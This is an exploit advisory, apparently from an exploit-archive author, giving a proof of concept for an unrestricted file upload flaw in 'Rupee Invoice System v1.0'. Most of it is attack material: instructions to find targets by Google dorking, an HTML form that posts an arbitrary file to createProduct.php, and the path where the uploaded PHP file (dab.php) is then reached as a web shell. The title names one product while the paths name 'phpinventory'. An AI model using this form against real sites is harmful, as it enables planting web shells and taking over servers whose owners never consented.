=============================================================================================================================================
| # Title     : Rupee Invoice System v1.0 Remote File Upload Vulnerability                                                                  |
| # Author    : indoushka                                                                                                                   |
| # Tested on : windows 10 Fr(Pro) / browser : Mozilla firefox 128.0.3 (64 bits)                                                            |
| # Vendor    : https://www.mayurik.com/                                                                                                    |
=============================================================================================================================================

poc :

[+] Dorking İn Google Or Other Search Enggine.

[+] The following html code uploads a executable malicious file remotely .

[+] Go to the line 7.

[+] Set the target site link Save changes and apply . 

[+] infected file : phpinventory/php_action/createProduct.php.

[+] save code as poc.html .

<!DOCTYPE html>
<html>
<head>
    <title>Create Product</title>
</head>
<body>
    <form action="http://127.0.0.1/phpinventory/php_action/createProduct.php" method="POST" enctype="multipart/form-data">
        <input type="hidden" name="currnt_date" value="100">
        
        <label for="productImage">Product Image:</label>
        <input type="file" name="productImage" id="productImage" required><br><br>

        <input type="submit" name="create" value="Create">
    </form>
</body>
</html>

[+] http://127.0.0.1/phpinventory/assets/myimages/dab.php

Greetings to :=====================================================================================
jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)|
===================================================================================================